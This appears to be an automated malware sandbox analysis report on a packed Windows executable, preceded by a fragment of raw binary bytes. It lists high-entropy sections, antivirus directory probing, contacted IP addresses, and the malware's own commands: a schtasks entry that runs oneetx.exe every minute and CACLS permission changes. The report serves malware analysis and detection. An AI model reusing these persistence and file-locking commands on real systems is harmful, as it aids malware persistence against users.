6¿1Æëf.D¸5æ}vÿÿÿuÜ1ÿuàëEìMðÿEðw;}s-ø1Ò÷uE¶EØ28÷Eð;EèuÎPEèPèT»Äë¿uÜ¸5æ1ÆéÿÿÿMðEäHòEèò@ÇÄ^_[]Ãf.DUåSWVäøìD$Pè'Î Äjj request_handle: 0x00cc000c	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (5 events)

section

{u'size_of_data': u'0x00081600', u'virtual_address': u'0x00141000', u'entropy': 7.274767342002277, u'name': u'.rdata', u'virtual_size': u'0x0008151c'}

entropy

7.274767342

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x00001c00', u'virtual_address': u'0x00223000', u'entropy': 7.005823451001572, u'name': u'.idata', u'virtual_size': u'0x00001a14'}

entropy

7.005823451

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x005aa400', u'virtual_address': u'0x00227000', u'entropy': 7.931736759904774, u'name': u'rdata0', u'virtual_size': u'0x005aa2ca'}

entropy

7.9317367599

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x0056fc00', u'virtual_address': u'0x007d3000', u'entropy': 7.942228359505709, u'name': u'rdata2', u'virtual_size': u'0x0056fba0'}

entropy

7.94222835951

description

A section with a high entropy has been found

entropy

0.876091200413

description

Overall entropy of this PE file is high

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F
cmdline	"C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F

Communicates with host for which no DNS query was performed (3 events)

host	78.46.242.112
host	79.137.248.23
host	91.107.196.27

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "..\fd369298e4" /P "test22:R" /E
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\fd369298e4" /P "test22:N"&&CACLS "..\fd369298e4" /P "test22:R" /E&&Exit
cmdline	CACLS "oneetx.exe" /P "test22:R" /E
cmdline	CACLS "oneetx.exe" /P "test22:N"
cmdline	cmd /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\fd369298e4" /P "test22:N"&&CACLS "..\fd369298e4" /P "test22:R" /E&&Exit
cmdline	CACLS "..\fd369298e4" /P "test22:N"

update-pyt.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All